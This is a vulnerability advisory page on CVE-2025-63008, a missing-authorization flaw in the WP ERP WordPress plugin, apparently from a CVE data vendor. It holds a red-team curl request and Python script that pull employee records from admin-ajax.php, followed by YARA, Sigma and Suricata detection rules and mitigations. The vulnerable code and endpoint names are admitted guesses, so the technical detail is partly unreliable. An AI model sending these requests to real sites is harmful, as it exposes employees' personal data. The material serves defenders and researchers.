CVE-2025-63008
Executive Summary
CVE-2025-63008 is a Missing Authorization vulnerability in the WP ERP plugin for WordPress, developed by weDevs. This flaw affects all versions up to and including 1.16.7. The vulnerability allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized access to sensitive ERP data (e.g., employee records, financial logs, or CRM entries). The CVSS score is 5.3 (Medium), with a low EPSS probability (0.0%), indicating limited active exploitation in the wild. However, given the widespread use of WP ERP in small-to-medium businesses, the risk of targeted attacks remains significant.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin ecosystem. WP ERP is distributed via the official WordPress plugin repository and commercial channels. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors forking or backporting the vulnerable code. Organizations using WP ERP should treat this as a high-priority supply chain risk until a fix is released.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No denial of service.
Threat Level: Medium. The vulnerability is easy to exploit but yields only low confidentiality impact. However, in an ERP context, even low-level data leaks (e.g., employee names, email addresses) can be leveraged for social engineering or further attacks.
Deep Dive & Mechanics
The vulnerability stems from missing authorization checks in WP ERP’s REST API endpoints or AJAX handlers. The plugin fails to verify user capabilities before processing requests to access or modify ERP data. Specifically, the erp component (likely the core ERP module) exposes functions that do not enforce current_user_can() checks or nonce validation.
Root Cause: The plugin uses wp_ajax_* hooks or REST routes without verifying the user’s role or capability. For example, a function like erp_get_employees() might be registered with wp_ajax_nopriv_*, allowing unauthenticated access.
Attack Vector: An attacker sends crafted HTTP requests to the vulnerable endpoint, bypassing authentication. The request may include parameters to filter or retrieve sensitive data.
Impact: Unauthorized read access to ERP data, including:
- Employee personal information (names, emails, phone numbers)
- Customer records
- Financial transactions (if exposed)
- CRM notes and logs
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common fixes.
Vulnerable Code (wp-erp/includes/class-ajax.php):
add_action( 'wp_ajax_nopriv_erp_get_employees', 'erp_get_employees' );
function erp_get_employees() {
$employees = get_posts( array( 'post_type' => 'erp_employee' ) );
wp_send_json_success( $employees );
}
Patched Code (Hypothetical):
add_action( 'wp_ajax_erp_get_employees', 'erp_get_employees' );
add_action( 'wp_ajax_nopriv_erp_get_employees', 'erp_get_employees_noauth' );
function erp_get_employees() {
if ( ! current_user_can( 'manage_options' ) ) {
wp_send_json_error( 'Unauthorized', 403 );
}
$employees = get_posts( array( 'post_type' => 'erp_employee' ) );
wp_send_json_success( $employees );
}
function erp_get_employees_noauth() {
wp_send_json_error( 'Authentication required', 401 );
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress instance with WP ERP <= 1.16.7 installed and activated.
- No authentication required.
Exploitation Steps:
- Identify vulnerable endpoints by scanning for common WP ERP AJAX actions (e.g.,
erp_get_employees,erp_get_customers). - Send a crafted POST request to
/wp-admin/admin-ajax.phpwith the action parameter.
Example Request (cURL):
curl -X POST http://target.com/wp-admin/admin-ajax.php \
-d "action=erp_get_employees" \
-H "Content-Type: application/x-www-form-urlencoded"
Expected Response:
{"success":true,"data":[{"ID":1,"post_title":"John Doe","post_content":"..."}]}
Automation with Python:
import requests
target = "http://target.com/wp-admin/admin-ajax.php"
data = {"action": "erp_get_employees"}
response = requests.post(target, data=data)
if response.status_code == 200 and response.json().get("success"):
print("Data exfiltrated:", response.json()["data"])
Blue Team
Detection:
- Monitor for POST requests to
/wp-admin/admin-ajax.phpwith suspiciousactionparameters (e.g.,erp_*). - Alert on responses containing ERP-related JSON keys (e.g.,
post_type,erp_employee).
Hunting:
- Search web server logs for
admin-ajax.phprequests from unauthenticated IPs. - Look for repeated requests to multiple
erp_*actions in a short timeframe.
Containment:
- Temporarily disable the WP ERP plugin until a patch is applied.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwithactionparameters starting witherp_from unauthenticated users.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=erp_*parameters. - HTTP responses containing JSON with keys like
erp_employee,erp_customer,erp_transaction.
- POST requests to
- File IOCs:
- Unauthorized access logs in
/var/log/apache2/access.logor/var/log/nginx/access.logshowingadmin-ajax.phprequests.
- Unauthorized access logs in
- Behavioral IOCs:
- Sudden increase in 200 OK responses from
admin-ajax.phpfor unauthenticated users. - Anomalous data export patterns (e.g., large JSON payloads).
- Sudden increase in 200 OK responses from
Detection Engineering
YARA Rule
rule CVE_2025_63008_WP_ERP_Missing_Auth {
meta:
description = "Detects exploitation attempts of CVE-2025-63008 in WP ERP plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-63008"
strings:
$ajax_action = "action=erp_" nocase
$admin_ajax = "admin-ajax.php" nocase
$json_success = "\"success\":true" nocase
condition:
all of them
}
Sigma Rule
title: CVE-2025-63008 WP ERP Missing Authorization Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to WP ERP AJAX endpoints
author: Valters IT
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: POST
cs-uri-stem: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=erp_'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-63008 WP ERP Missing Authorization Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=erp_"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable WP ERP plugin until a patch is released by weDevs.
- Implement WAF rules to block unauthenticated requests to
admin-ajax.phpwithaction=erp_*. - Monitor logs for exploitation attempts using the provided Sigma/Suricata rules.
Long-Term Fix:
- Apply the official patch from weDevs once available (check their changelog or support channels).
- If no patch is forthcoming, consider migrating to an alternative ERP plugin with active security maintenance.
Workaround:
- Add custom code to
functions.phpto enforce capability checks:
add_action( 'wp_ajax_nopriv_erp_get_employees', function() {
wp_send_json_error( 'Unauthorized', 403 );
}, 1 );
Valters IT – Securing your digital frontier.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.